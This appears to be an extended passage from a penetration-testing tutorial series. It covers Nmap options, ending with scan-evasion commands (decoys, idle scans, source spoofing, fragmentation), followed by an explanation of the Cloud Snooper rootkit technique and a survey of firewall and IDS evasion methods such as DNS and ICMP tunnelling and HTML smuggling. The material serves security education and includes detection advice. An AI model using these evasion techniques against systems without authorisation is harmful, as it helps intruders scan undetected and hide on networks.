• --reason - Show the reason each port is in its current state. Displays which probe or response caused Nmap to mark a port as open, closed, or filtered. Essential for validating results and understanding firewall behavior.

• --stats-every <time> - Print scan progress statistics every <time> interval (e.g., 30s, 5m). Shows elapsed time, completion percentage, and estimated time remaining. Useful for long scans where you want periodic updates without full verbosity.

• --packet-trace - Show every packet sent and received during the scan. Displays protocol details, flags, and data for each packet. Use this for deep troubleshooting or learning how Nmap probes work. Generates massive output; best used with limited targets.

• --open - Only show open (or possibly open) ports in the output. Hides closed and filtered ports to reduce clutter when you only care about accessible services. Does not affect scanning behavior, only what is displayed.

• -d / -dd - Enable debug output showing Nmap’s internal operations. Similar to verbosity but focused on technical details like timing calculations, probe decisions, and data structure contents. Use -d for basic debug or -dd for more detail.

# command format showing diagnostic options
nmap --reason [target]
nmap --stats-every <time> [target]
nmap --packet-trace [target]
nmap --open [target]
nmap -d|-dd [target]

# real examples
# show why each port is open/closed/filtered
nmap --reason 192.168.1.1

# print progress every 30 seconds during a long scan
nmap --stats-every 30s 192.168.1.0/24

# trace all packets for troubleshooting (use with single host)
nmap --packet-trace -p 80,443 192.168.1.1

# only display open ports in results
nmap --open 192.168.1.0/24

# enable debug output to see internal decisions
nmap -d 192.168.1.1

# enable detailed debug output
nmap -dd 192.168.1.1

Timing templates

Set the speed and stealth level of a scan. Nmap provides six templates from T0 (slowest, most stealthy) to T5 (fastest, most aggressive).

• T0 Paranoid: 300 s between probes; sends one probe at a time; waits up to 900 s for a reply; retries slowly if no response; does not change delay, timeout, or retry behavior based on target replies

• T1 Sneaky: 15 s between probes; sends very few probes at once; waits up to 300 s for a reply; retries cautiously; only makes very small adjustments to delay, timeout, or retries when probes time out or responses differ from expectations

• T2 Polite: 400 ms between probes; limits how many probes are in flight; waits around 5 s for replies; moderate retry count; automatically increases or decreases delay, response timeout, and retry pacing when measured reply times are consistently slower or faster than the configured values

• T3 Normal: 50 to 200 ms between probes; sends several probes concurrently; waits around 2 to 3 s for replies; moderate retries; continuously measures reply times and adjusts delay, timeout, and retry count to match the target’s observed responsiveness

• T4 Aggressive: 10 to 500 ms between probes; sends many probes concurrently; waits around 1 to 1.25 s for replies; fewer retries; alters delay, timeout, or retries within narrow limits if the target is noticeably slower or faster while prioritizing scan speed

• T5 Insane: under 5 ms between probes; sends nearly all probes at once; uses a short fixed response timeout of 0.1 to 0.5 s; minimal retries; does not adjust delay, timeout, or retry settings based on target replies

# General command format showing timing template
nmap -T[T0-T5] [target]

# Real examples
nmap -T0 192.168.1.1    # very slow, stealthy scan
nmap -T2 192.168.1.1    # polite scan to reduce network load
nmap -T3 192.168.1.1    # default scan speed
nmap -T4 192.168.1.1    # faster scan, standard aggressiveness
nmap -T5 192.168.1.1    # fastest scan, more likely to be detected

Higher speeds may trigger intrusion prevention or cause network strain. Lower speeds are stealthier but take longer.

Performance

Control scan speed, retry behavior, and resource limits.

Use performance options to balance scan thoroughness against time constraints, network load, and target responsiveness.

Adjust these when default behavior is too slow, too aggressive, or when targets have unusual timeout characteristics.

• --min-rate <num> - Send at least <num> packets per second. Forces Nmap to maintain minimum scan speed regardless of target responsiveness. Use when scan time is more important than stealth or network courtesy.

• --max-rate <num> - Send no more than <num> packets per second. Caps maximum scan speed to avoid overwhelming targets or networks. Use to reduce network load or stay below rate-limiting thresholds.

• --max-retries <num> - Limit probe retransmissions to <num> attempts. Reduces time spent on unresponsive hosts or ports. Lower values speed up scans but may miss slower targets; higher values are more thorough but slower.

• --host-timeout <time> - Give up on hosts that take longer than <time> to scan. Prevents extremely slow hosts from delaying entire scans. Use when scanning large networks where some hosts may be rate-limited or heavily filtered.

• --scan-delay <time> - Wait at least <time> between probes to the same host. Useful when targets rate-limit or when you need to slow down for stealth without using full timing templates.

• --max-scan-delay <time> - Cap the maximum delay between probes at <time>. Prevents Nmap from slowing down too much when it detects rate limiting. Balances responsiveness against target behavior.

# command format showing performance options
nmap --min-rate <num> [target]
nmap --max-rate <num> [target]
nmap --max-retries <num> [target]
nmap --host-timeout <time> [target]
nmap --scan-delay <time> [target]

# real examples
# force minimum 100 packets/second
nmap --min-rate 100 192.168.1.0/24

# limit to 10 packets/second for polite scanning
nmap --max-rate 10 192.168.1.1

# only retry each probe once
nmap --max-retries 1 192.168.1.0/24

# skip hosts that take longer than 5 minutes
nmap --host-timeout 5m 192.168.1.0/24

# wait 1 second between probes for stealthy scanning
nmap --scan-delay 1s 192.168.1.1

# don’t let delay exceed 2 seconds
nmap --max-scan-delay 2s 192.168.1.1

# combine multiple performance options
nmap --min-rate 50 --max-retries 2 --host-timeout 10m 10.0.0.0/16

Target Specification

Specifies which systems the scan will include or exclude by listing individual hosts, CIDR ranges, IP ranges, hostnames, or input/exclusion files.

Use this to precisely define the scope of a scan run so probes and options apply only to authorized and intended targets.

• -iR : Scan a number of random public IPv4 addresses; use 0 for endless scanning (research only with authorization).

• -sL : List scan; resolve names and print the expanded target list without sending probes.

• -r : Do not randomize host order; scan in the order provided.

• -6 : Force IPv6 mode and resolve IPv6 addresses.

• --resume : Resume a previously interrupted scan using a saved output file.

# Generic format
nmap [target-specs] [port-specs] [other-options]

# scan a single IP
nmap 192.168.1.1

# scan a hostname that resolves to an IP
nmap scanme.nmap.org

# scan every host in a /24 network
nmap 10.0.0.0/24

# scan a range of IPs from .1 through .100
nmap 192.168.1.1-100

# probe 100 random public IPv4 addresses (research only)
nmap -iR 100

# show the expanded target list without sending packets
nmap -sL 192.168.1.0/24

# scan an IPv6 address explicitly
nmap -6 2001:db8::1

# resume a previously interrupted run from a saved output file
nmap --resume savefile.gnmap

Target Input From File

-iL <file> - The Nmap -iL input file is a plain-text file containing target specifications (one or more per line) that Nmap reads instead of taking hosts directly from the command line.

The file is only for target specifications (IPs, hostnames, CIDR blocks, ranges, etc.). Ports must be specified on the Nmap command line,

Each entry can be any target format Nmap supports on the command line:

• Single IP address

• Hostname

• CIDR notation

• IPv6 address or range

• Octet ranges

Separation

Entries on the same line must be separated by one or more spaces, tabs, or newlines. A newline simply continues to the next line of input.

Comments

Any text starting with # is treated as a comment and ignored until the end of the line.

Blank lines are ignored. Invalid entries are skipped with a warning. This format works well for scanning large lists from DHCP exports, firewall rules, or custom scripts.

Example Input File (targets.txt)

# Single IP address - one specific host
192.168.1.177

# Hostname - resolvable domain name
scanme.nmap.org

# CIDR notation - block of IPs using subnet mask
192.168.1.0/24

# IPv6 address - single IPv6 host
2001:db8::1

# IPv6 CIDR range - block of IPv6 addresses
2001:db8::/64

# Octet ranges - flexible IP range across any octet
192.168.1-5.1-254

Running the Scan

Run your scan with the input from your file.

# Basic command use
nmap -iL targets.txt

# Command with more flags set
nmap -sS -T5 -iL targets.txt -p 80

Target Exclusions

Skip specific hosts or networks so they are never probed even if they appear in the target set; use exclusions to enforce scope and avoid sensitive systems.

Exclusions accept single IPs, hostnames, CIDRs, and ranges and can be provided directly or via a file for auditability.

• --exclude : Skip the specified comma separated list of hosts, IPs, or networks.

• --excludefile : Read exclusions from a file, one entry per line; supports CIDR, single IPs, and hostnames.

# Generic format
nmap [targets] --exclude [host1,host2,...] --excludefile [file]

# scan a subnet but skip the router and server by IP
nmap 192.168.1.0/24 --exclude 192.168.1.1,192.168.1.10

# scan targets from file but skip hosts in exclude.txt
nmap -iL targets.txt --excludefile exclude.txt

# exclude an entire CIDR while scanning a larger CIDR
nmap 10.0.0.0/16 --exclude 10.0.1.0/24

# combine direct targets with exclusions
nmap 203.0.113.0/24 --exclude 203.0.113.5,203.0.113.10

Stealth & Evasion Techniques

Before employing evasion techniques, first identify the presence of firewalls, IDS/IPS systems, and other security monitoring. Look for these indicators during initial reconnaissance:

Firewall Detection Signs

• admin prohibited filter - Explicit ICMP rejections indicating active firewall rules

• Consistently filtered ports - Multiple ports showing no response across scans

• Inconsistent port states - Different results between SYN, ACK, and NULL scans

• ICMP rate limiting - Delayed or blocked ICMP error messages

• TTL variations - Inconsistent time-to-live values in responses

Initial Detection Scans

# Basic port state analysis
nmap -sS -v --reason <target>

# ACK scan for stateful firewall mapping
nmap -sA -v <target>

# NULL/FIN/Xmas scans for rulebase analysis
nmap -sN -sF -sX -v <target>

Evasion Techniques

Once security controls are identified, use these techniques to avoid detection by firewalls, IDS/IPS systems, and security monitoring.

These methods help bypass security controls or obscure scan origins by manipulating packet attributes, timing, and source information.

Use stealth options when authorized testing requires evading detection systems, but be aware that aggressive evasion may violate scope or trigger alerts.

Scan Origination & Attribution

• -sI <zombie> : Idle (zombie) scan. Uses a third-party host with predictable IP ID sequences to probe targets indirectly. The scanner’s IP never appears in target logs, making this extremely stealthy. IP ID is the Identification field in IP packets used for fragment reassembly. Requires finding a zombie host with predictable IP ID behavior - test with nmap -p 80 --script ipidseq <host>. Look for “Incremental” (number increases by 1 per packet, ideal) or “All zeros”. Avoid “Random” IP ID sequences.

• -D <decoy1,decoy2,ME> : Cloak scan among decoys. Makes it appear that multiple hosts are scanning the target simultaneously. Use ME to specify your real IP’s position in the decoy list, or let Nmap randomize it. Use RND to generate random decoy IPs.

• -S <IP> : Spoof source IP address. Makes packets appear to originate from a different IP. Requires raw packet privileges and won’t receive responses unless you can intercept return traffic. Primarily useful for testing firewall rules.

• --source-port <port> or -g <port> : Spoof source port number. Some firewalls allow traffic from specific source ports (like 53 for DNS or 20 for FTP-data). Can help bypass poorly configured firewalls.

• -e <interface> : Specify network interface to use for sending packets. Useful when you have multiple network interfaces and need to control which one is used for scanning.

• --spoof-mac <MAC|vendor> : Spoof MAC address using a specific address, vendor prefix, or random value (0). Only works on local Ethernet networks. Use to bypass MAC-based filtering or attribution.

Packet Manipulation

• -f : Fragment packets. Splits TCP headers across multiple small IP fragments to evade packet filters and IDS systems that don’t reassemble fragments. Can bypass simple filters but modern systems often detect this.

• --mtu <value> : Set custom Maximum Transmission Unit size for packet fragmentation. Must be a multiple of 8. Allows finer control than -f for evading specific MTU-based filters.

• --data-length <num> : Append random data to packets to reach a specific size. Changes packet fingerprint to evade signature-based detection systems that match specific packet sizes.

• --badsum : Send packets with invalid TCP/UDP checksums. Legitimate systems discard these, but some firewalls and IDS may process them incorrectly, revealing their presence or forwarding behavior.

Timing & Behavior

• --randomize-hosts : Scan targets in random order rather than sequentially. Makes scan pattern less obvious and distributes load across target network.

• --scan-delay & --max-rate : Control packet timing to avoid threshold-based detection:

# Slow, stealthy scanning
nmap --scan-delay 5s --max-rate 10 <target> 

# Ultra-slow timing template
nmap -T paranoid <target>                    

Practical Examples

# Idle (zombie) scan using a third-party host
# Test zombie first: nmap -p 80 --script ipidseq <zombie-host>
sudo nmap -sI <zombie-host> <target>

# Fragment packets to evade simple packet filters
sudo nmap -f <target>

# Custom MTU fragmentation (must be multiple of 8)
sudo nmap --mtu 16 <target>

# Cloak scan among decoy addresses
nmap -D decoy1,decoy2,ME,decoy3 <target>

# Generate 5 random decoy IPs, Nmap chooses your position
nmap -D RND:5 <target>

# Generate 10 random decoys with your IP in position 3
nmap -D RND:5,ME,RND:5 <target>

# Spoof source IP (won’t receive responses)
sudo nmap -S <spoofed-ip> -e eth0 -Pn <target>

# Use specific source port to bypass firewall
nmap --source-port 53 <target>

# Append random data to packets
nmap --data-length 50 <target>

# Scan in random order
nmap --randomize-hosts <target>

# Spoof MAC address
sudo nmap --spoof-mac 0 <target>

# Send invalid checksums to detect middleboxes
nmap --badsum <target>

# Combined stealth approach
nmap -sS -f --data-length 64 --source-port 53 --scan-delay 2s --max-rate 5 <target>

Nmap Scripts

The Nmap Scripting Engine (NSE) allows users to write and run scripts for network discovery, vulnerability detection, and advanced scanning techniques.

NSE scripts are written in Lua and extend Nmap’s capabilities.

Script Categories:

• auth - Authentication-related scripts (credential testing, brute force)

• broadcast - Network-wide discovery via broadcast/multicast

• brute - Brute-force password guessing against services

• default - Safe, useful scripts run with -sC (recommended for most scans)

• discovery - Network and service discovery/enumeration

• dos - Scripts that may cause denial of service (use with extreme caution)

• exploit - Attempts to actively exploit vulnerabilities

• external - Sends data to third-party services (privacy implications)

• fuzzer - Sends randomized data to test for crashes

• intrusive - Likely to crash services or consume significant resources

• malware - Detects malware, backdoors, or compromised systems

• safe - Unlikely to crash services or trigger alerts

• version - Enhanced version detection beyond Nmap’s built-in -sV

• vuln - Checks for specific security vulnerabilities

To see detailed descriptions of all Nmap scripts, visit the official documentation.

View Script Info

# View Info for All Scripts
nmap --script-help all

# View Info for Specific Scripts
nmap --script-help <script name>
nmap --script-help xmpp-info

Update Script Database

nmap --script-updatedb

Run Multiple Script Categories

nmap --script “discovery,vuln,auth” target

Official Resources

For a deeper understanding of Nmap, the official Nmap documentation and free book are excellent sources. They cover everything from installation and basic scanning to advanced features, scripting, and real-world use cases.

• Nmap Book (Free Online): Comprehensive reference, practical examples, and detailed explanations of all Nmap options.
  https://nmap.org/book/toc.html

• Official Nmap Website: Download the latest versions, view release notes, access the Nmap Scripting Engine documentation, and find community resources.

https://nmap.org

These resources are continually updated by the Nmap project and are considered the most reliable reference for learning and using Nmap safely and effectively.

Happy hacking!

The attack exploits how cloud firewalls (AWS Security Groups) are configured and uses malware installed on the target server to secretly communicate with attackers while blending into normal web traffic.

The Core Problem This Attack Exploits

Most web servers on AWS are configured to allow only two types of incoming traffic:

• Port 80: HTTP (regular web traffic)

• Port 443: HTTPS (encrypted web traffic)

This configuration is enforced by AWS Security Groups (SGs), which act as virtual firewalls controlling what traffic can reach your cloud instances. The Security Group checks every incoming packet and asks: “Is this going to port 80 or 443?” If yes, it allows it through. If no, it blocks it.

This seems secure, only web traffic gets in. But the Cloud Snooper attack turns this security measure into an opportunity.

The Initial Compromise

The Cloud Snooper attack cannot happen without the attacker first compromising the target server and installing malware.

Before any C2 communication begins, attackers must gain access through traditional methods:

• SSH brute-forcing: Guessing weak passwords on SSH (remote login) services

• Supply chain attacks: Compromising software updates or dependencies

• Exploiting vulnerabilities: Using security flaws in applications or traffic filters

• Phishing or credential theft: Tricking administrators into revealing access

Once inside, the attacker installs two pieces of malware:

1. A rootkit: Stealth software that hides the attacker’s presence

2. A backdoor/trojan: Software that executes the attacker’s commands

Only after this installation is complete can the Cloud Snooper technique work.

Key Malware Components

The Rootkit: The Stealth Engine

A rootkit is malware designed to remain hidden while providing privileged access. Think of it as an invisibility cloak for malicious software.

What it does:

• Hides processes: Makes malicious programs invisible to system monitoring tools (you can’t see them in task manager equivalents)

• Hides network activity: Conceals suspicious network connections from detection tools

• Intercepts system calls: Modifies how the operating system reports information, essentially making it “lie” about what’s running

• Maintains persistence: Ensures the attacker’s access survives reboots and security scans

• Routes traffic internally: Acts as a traffic director, intercepting and redirecting network packets

In Cloud Snooper, the rootkit has two components:

• Listener: Monitors all incoming network traffic, watching for attacker communications

• Packet rewriter: Modifies network packets to route them to the right destination

The Backdoor Trojan

The backdoor trojan is a separate program that actually performs the attacker’s instructions. It’s called a “trojan” because it masquerades as legitimate software while harboring malicious functionality.

What it does:

• Executes shell commands (like a remote terminal)

• Steals credentials and access keys

• Exfiltrates sensitive files and data

• Conducts reconnaissance of the system

• Facilitates lateral movement to other systems

Why separate from the rootkit?

• Modularity: The rootkit provides infrastructure (hiding, routing) while the trojan provides functionality (execution)

• Stability: Kernel-level rootkit code is complex; keeping command execution separate reduces crashes

• Flexibility: Attackers can update the trojan without touching the more dangerous rootkit installation

How the Attack Works

Step 1: Attacker Sends Disguised Commands

The attacker sends malicious command-and-control packets from their remote location to the compromised server. These packets are crafted to look exactly like normal web traffic:

• Destination port: 80 or 443 (appearing as legitimate HTTP/HTTPS)

• Hidden commands: Embedded within what looks like normal web requests

• Magic bytes: Secret markers hidden in HTTP headers or payloads that identify this as attacker traffic (like a secret handshake)

Example of what this might look like:

Normal web request:
GET /index.html HTTP/1.1
Host: example .com

Attacker’s C2 packet (looks similar):
GET /index.html HTTP/1.1
Host: example .com
X-Session-ID: 41424344  ← Magic bytes signaling “this is C2”
[Hidden command data in body]

Step 2: AWS Security Group Allows Traffic Through

The AWS Security Group examines the incoming packet:

• Checks destination port, sees port 80 or 443

• Compares against rules, web traffic is allowed

• Allows packet through, it looks completely legitimate

The Security Group isn’t compromised or broken, it’s simply doing its job. The attacker is exploiting the fact that the SG can only see basic packet information (ports, IPs) but cannot inspect the packet’s actual content to determine if it’s malicious.

Step 3: Rootkit Intercepts and Identifies the Packet

Here’s where the critical mechanism operates. The packet arrives at port 80 or 443 where the legitimate web server (like nginx or Apache) is listening. But before the web server can receive it, the rootkit intercepts it.

How interception works: The rootkit is able to see traffic before applications receive it:

• Kernel-level hooks: Code running in the operating system’s kernel that can intercept network packets

• Raw socket sniffing: Low-level network access that captures all packets, regardless of their destination

• Packet filtering libraries (like libpcap): Tools designed for network analysis that can capture traffic

The rootkit examines every incoming packet looking for the magic bytes, the secret marker that identifies attacker C2 traffic. When it finds a match:

• Regular traffic: Ignored, passed through to nginx normally

• C2 traffic with magic bytes: Intercepted and processed

Step 4: The Demultiplexing Problem

Now the rootkit faces a challenge. It has identified an attacker’s command packet, but it can’t simply pass it to the backdoor trojan. Here’s why:

The port conflict problem:

• Port 80 is already bound by nginx (the legitimate web server)

• “Binding” means nginx has told the operating system “I own port 80, send all port 80 traffic to me”

• Only ONE program can bind to a port at a time

• The backdoor trojan cannot also listen on port 80, it would create a conflict and fail

Why the trojan can’t just listen on port 80: If the trojan tried to bind to port 80:

1. Operating system: “Error: Port 80 already in use by nginx”

2. Trojan fails to start

3. Attack doesn’t work

The solution: Demultiplexing

Demultiplexing means taking a single input stream and routing it to multiple different destinations based on content.

The rootkit performs demultiplexing:

1. All traffic arrives at port 80 (single entry point)

2. Rootkit identifies which traffic is for nginx vs. the trojan

3. Routes each packet to the appropriate destination

Step 5: Rootkit Rewrites the Packet

To route the C2 packet to the trojan, the rootkit performs packet rewriting:

Original packet:

• Source port: [attacker’s random port]

• Destination: [Server IP]:80

Rewritten packet:

• Source port: 1010 (or 2020, 6060, 7070, 8080, 9999)

• Destination: 127.0.0.1:1010

Why these changes?

Why change source port to 1010, 2020, etc.? These ports serve as internal routing codes:

• Different ports can signal different command types (multiplexing channels)

• Port 1010 might mean “shell commands”

• Port 2020 might mean “file exfiltration”

• Port 8080 might mean “credential harvesting”

Why change destination to 127.0.0.1?

• 127.0.0.1 is the “local host” or “loopback” address, it means “this computer”

• Traffic sent to 127.0.0.1 never leaves the machine

• It’s for internal communication only

Why local host matters for stealth: The legitimate web server (nginx) binds to 0.0.0.0:80, meaning it listens on all network interfaces and is accessible from external networks. In contrast, the backdoor trojan binds to 127.0.0.1:1010, not 0.0.0.0:1010:

• 127.0.0.1:1010 = only accessible from within the same machine

• 0.0.0.0:1010 = accessible from any network interface (internal or external)

If the trojan used 0.0.0.0:1010:

• AWS Security Group would need a rule allowing port 1010 (suspicious)

• Network monitoring would see an unusual listening port

• Security scanners would detect it

• External attackers could potentially access it directly

By using 127.0.0.1:1010:

• Completely invisible to AWS Security Groups (internal traffic only)

• No unusual external-facing ports

• Only the rootkit can reach it

• Maximum stealth

Step 6: Trojan Receives and Executes Commands

The rewritten packet is re-injected into the network stack as if it were a new, local connection. The operating system sees:

• Packet to 127.0.0.1:1010

• Checks: “Who’s listening on port 1010?”

• Finds: Backdoor trojan

• Delivers packet to trojan

The trojan receives the command and executes it:

• Run system commands

• Access files and databases

• Steal credentials (SSH keys, AWS tokens)

• Extract configuration files

• Perform reconnaissance

• Set up persistence mechanisms

• Enable lateral movement to other systems

Step 7: Trojan Sends Data to Rootkit

After collecting sensitive data, the trojan sends it back to the rootkit via local host connection. This internal transfer prepares the data for external exfiltration.

Step 8: Rootkit Exfiltrates Data

The rootkit receives data from the trojan and handles external transmission:

• Rootkit packages data: Embeds it in legitimate-looking HTTP/HTTPS responses

• Blends with normal traffic: Exfiltrated data looks like regular web server responses

• Passes through Security Group: Outbound traffic on ports 80/443 is typically allowed

• Reaches attacker: Data extracted successfully without triggering alerts

The entire exfiltration looks like normal web traffic, perhaps a large file download or API response.

Why This Attack is Effective

Bypasses Multiple Security Layers

1. Cloud firewall (Security Group): Traffic uses allowed ports (80/443)

2. Network monitoring: Appears as legitimate HTTP/HTTPS traffic

3. Process monitoring: Rootkit hides malicious processes

4. Connection tracking: Uses local host connections (invisible externally)

5. Port scanning: No suspicious external-facing ports

Maintains Persistent Access

• Rootkit ensures survival across reboots

• Communication can happen anytime attacker wants

• Multiple command channels via different ports

• Difficult to detect even with security tools

Blends with Normal Operations

• Web servers naturally have high traffic on ports 80/443

• Malicious packets hidden among thousands of legitimate requests

• No unusual ports or protocols to alert defenders

• Timing can match normal traffic patterns

Detection and Prevention

Key defensive measures include:

• Monitor for rootkit indicators (hidden processes, kernel modifications)

• Inspect local host traffic (uncommon high ports like 1010, 2020)

• Use endpoint detection tools that can detect kernel-level hooks

• Implement application whitelisting

• Monitor for unusual outbound data transfers

• Regular security audits and vulnerability patching

• Strong SSH security (no password auth, key-based only)

• Supply chain security verification

Cloud Snooper is an attack that exploits the gap between network-level security (Security Groups allowing ports 80/443) and host-level compromise (malware already installed).

It demonstrates that perimeter security alone is insufficient. Attackers who gain initial access can abuse legitimate traffic channels to maintain hidden, persistent control while evading detection.

The attack’s effectiveness lies in its simplicity: hide in plain sight by using the very ports that must remain open for legitimate business operations.

These techniques let you move through networks like a ghost, bypassing security controls and slipping past intrusion detection systems and firewalls silently.

Writer’s note: This guide covers evasion strategies at a high level. If you want step-by-step technical guides, leave a comment and I’ll make them.

1. Firewalking - Map allowed ports with TTL

Firewalking discovers which ports are open through a firewall without directly connecting to the target. It works by manipulating the Time-To-Live (TTL) value in packets so they expire right at or just beyond the firewall. When a packet’s TTL reaches zero, the router sends back an ICMP “time exceeded” message.

By incrementing TTL values and observing which ports generate responses versus silence, you can map the firewall’s rule set.

Tools like Firewalk and hping3 systematically probe port ranges to build a picture of what the firewall allows through. This technique is stealthier than direct port scanning because it leverages normal network diagnostic behavior that resembles traceroute traffic.

2. Banner Grabbing - Identify vulnerable service versions

Banner grabbing extracts version information from network services by connecting to open ports and capturing the initial response headers they send.

When you connect to a web server, FTP server, SSH daemon, or mail server, it typically announces itself with a banner containing software name and version number.

Tools like netcat, telnet, and Nmap’s scripting engine can retrieve these banners. The information reveals patch levels and helps identify known vulnerabilities associated with specific software versions.

Advanced banner grabbing can fingerprint operating systems and service configurations without triggering intrusion detection signatures, since connecting to open services is normal network behavior.

3. IP Address Spoofing - Appear as trusted source

IP spoofing involves forging the source address in packet headers to make traffic appear as if it originates from a trusted host rather than the attacker. Tools like Scapy and hping3 allow crafting packets with arbitrary source IPs. This can bypass IP-based access control lists and firewall rules that trust specific addresses.

The challenge is that response packets go to the spoofed address, not the attacker, making this primarily useful for denial-of-service attacks or when combined with network sniffing capabilities.

Some attackers use spoofing in conjunction with session hijacking, where they predict sequence numbers to insert themselves into ongoing connections.

4. Source Routing - Bypass security checkpoints

Source routing exploits an IP option that lets the sender specify the exact path packets should take through a network. By designating specific routers as waypoints, attackers can potentially route traffic around security devices or through trusted network segments.

Loose source routing allows some flexibility in the path, while strict source routing mandates every hop. Modern networks typically disable source routing because of these security implications, but misconfigurations still exist.

Testing tools can verify whether routers honor source routing options, revealing potential paths that bypass firewalls or IDS sensors positioned on other network routes.

5. Tiny Fragments - Evade packet inspection

Tiny fragmentation splits packets into unusually small pieces to evade intrusion detection systems that only inspect the first fragment or fail to properly reassemble fragmented traffic. By fragmenting TCP headers across multiple IP fragments, attackers can hide port numbers, flags, and payload signatures that IDS rules look for.

Some security devices have resource constraints that prevent them from tracking and reassembling all fragments, especially under heavy load. Tools like fragroute and Nmap’s fragmentation options create these tiny fragments.

Detecting this requires security devices to buffer and reassemble all fragments before inspection, which some older or misconfigured systems cannot do.

6. IP Instead of URL - Circumvent web filters

Many web filters and content security systems operate by matching domain names against blacklists or categorization databases.

Accessing resources directly by IP address bypasses these URL-based controls.

The technique extends further by encoding IPs in alternative formats—decimal, octal, hexadecimal, or IPv6 representations that browsers understand but filters may not recognize. This works because the filter sees an IP address that isn’t in its URL database, while the browser resolves it to the same destination.

Application-layer filters focused on domain reputation completely miss IP-based access, making this effective against less sophisticated web security gateways.

7. Proxy Server - Hide your real location

Routing traffic through proxy servers masks the attacker’s true origin and can bypass geographic restrictions, IP blacklists, and network monitoring. Proxy chains involve multiple proxy hops, making traffic attribution nearly impossible.

Tools like ProxyChains, Tor, and SSH dynamic port forwarding create these intermediary connections. SOCKS proxies can tunnel any TCP protocol, not just HTTP. For penetration testing, intercepting proxies like Burp Suite and OWASP ZAP sit between the tester and target, allowing traffic inspection and modification.

The proxy appears as the traffic source to the target, while the real attacker remains hidden behind potentially multiple layers of intermediaries.

8. ICMP Tunneling - Exfiltrate data via ping

ICMP tunneling encapsulates data inside ICMP echo request and reply packets, which firewalls commonly allow for network diagnostics. Since ping is rarely blocked, it creates a covert channel for command execution and data exfiltration.

Tools like ptunnel and icmptunnel establish bidirectional communication by embedding TCP/IP traffic within ICMP payloads. Normal ping packets have standard sizes, so detection requires monitoring for anomalous ICMP traffic with unusual payload sizes or frequencies.

Attackers can throttle transmission rates to blend with legitimate network diagnostics. The technique is particularly effective in networks with strict firewall rules that only permit ICMP and DNS outbound.

9. ACK/HTTP Tunneling - Tunnel blocked protocols in allowed traffic

ACK tunneling exploits how stateful firewalls handle TCP acknowledgment packets. By sending data in packets with only the ACK flag set, attackers leverage firewall assumptions that these belong to established connections.

Stateless firewalls and some stateful systems under load may allow ACK packets through without verifying the connection handshake occurred. HTTP tunneling wraps forbidden protocols like SSH or RDP inside HTTP requests and responses.

Since port 80/443 traffic is almost never blocked, tools like HTTPTunnel and Chisel create these encapsulated channels. The firewall sees normal web traffic while prohibited protocols tunnel through invisibly, defeating protocol-based blocking rules.

10. SSH/DNS Tunneling - Encrypt covert communication channels

SSH tunneling creates encrypted channels that can carry any TCP protocol through SSH’s secure connection. Local, remote, and dynamic port forwarding options make internal services accessible from outside networks or vice versa.

DNS tunneling encodes data within DNS queries and responses, which are rarely filtered since DNS resolution is essential for network operation. Tools like Iodine and dnscat2 implement bidirectional DNS tunnels that support command execution and file transfer.

Each DNS query can carry small amounts of encoded data in subdomains, while responses contain encoded replies. Since DNS typically uses UDP and requires no connection establishment, it’s extremely difficult to block without breaking legitimate name resolution.

11. External Systems - Pivot through trusted partners

Compromising external systems that have trust relationships with the target network provides an entry point that bypasses perimeter defenses. Partner organizations, vendors with VPN access, cloud service providers, and managed service providers often have privileged network access.

Tools like BloodHound map Active Directory trust relationships to identify these external connections. Exploiting a supplier’s weaker security to access a harder target is called “island hopping.” VPN concentrators, jump hosts, and cloud peering connections become pivot points for lateral movement.

Since the traffic originates from a trusted partner network, it bypasses IP whitelists and geographic restrictions that would block direct attacks.

12. MITM Attack - Intercept and manipulate traffic

Man-in-the-Middle attacks position the attacker between communicating parties to intercept, read, and modify traffic without their knowledge.

A common technique uses DNS poisoning to redirect victims to attacker-controlled servers that impersonate legitimate destinations. When a user requests a legitimate domain, the compromised DNS server returns the attacker’s IP address instead of the real one.

The victim’s browser connects to the malicious server, which can harvest credentials, inject malicious code, or proxy the connection to the real server while capturing all traffic in between. ARP spoofing is another approach that poisons the local network’s address resolution tables, redirecting traffic through the attacker’s machine.

For HTTPS traffic, tools attempt to downgrade connections to unencrypted HTTP or present fraudulent certificates. This bypasses firewall and IDS protections because the traffic appears to originate from internal users making legitimate outbound connections to trusted domains. The attack evades detection since DNS resolution and normal web browsing are expected behaviors that security devices allow through.

13. XSS Attack - Execute code on trusted sites

Cross-Site Scripting injects malicious JavaScript into trusted websites, which then executes in victims’ browsers with the site’s privileges. The attacker’s code runs in the context of a legitimate domain, bypassing same-origin policies and content security restrictions.

Reflected XSS bounces malicious scripts off web servers in crafted URLs. Stored XSS permanently injects code into databases that executes for every user viewing the infected content. DOM-based XSS exploits client-side JavaScript processing.

Once executing, the malicious script can steal cookies, session tokens, and sensitive data, or use the victim’s browser to scan internal networks and make authenticated requests to internal resources that the external attacker couldn’t directly reach.

14. HTML Smuggling - Bypass file scanning gateways

HTML smuggling constructs malicious files client-side using JavaScript rather than transmitting them across the network as complete files. The technique encodes executables as base64 strings within HTML or JavaScript, then uses browser APIs like Blob and createObjectURL to assemble and download the file in the victim’s browser.

Since email gateways and web proxies scan files crossing network boundaries, they never see the assembled executable—only HTML and encoded text that appears benign. Tools can prepare payloads and encode them for embedding.

Detection requires monitoring for suspicious JavaScript patterns, Blob object creation, and files appearing on disk without corresponding network downloads.

15. Windows BITS - Transfer files via background service

Background Intelligent Transfer Service is a legitimate Windows component designed for downloading updates without disrupting user activity.

BITS operates at low priority, automatically pausing during user activity and resuming when idle, making transfers nearly invisible to users.

Jobs survive reboots and network interruptions, automatically resuming when connectivity returns. PowerShell and bitsadmin command-line tools create BITS jobs that download or upload files while appearing as normal Windows system traffic.

Since BITS uses the trusted svchost.exe process with Microsoft’s digital signature, it evades many security controls.

Detection requires monitoring BITS job creation, especially those initiated by non-system users or downloading from non-Microsoft domains.

Evasion: Be a Ghost in the Wire

By mastering these techniques, you will become a skilled hacker who can move through networks undetected and use advanced methods to download or exfiltrate data without leaving traces.

These skills are especially valuable for ethical hackers because they provide insight into how attackers access systems and remain undetected. Firewalls and IDS/IPS systems must be continuously fine-tuned to keep pace with the latest attack techniques. Happy hacking!

In vulnerability scanning, we take it a step further by matching the ports, protocols and services found in previous steps with known vulnerabilities, setting the stage for the next phase, “Gaining Access”, where we exploit those vulnerabilities to get in to the target system.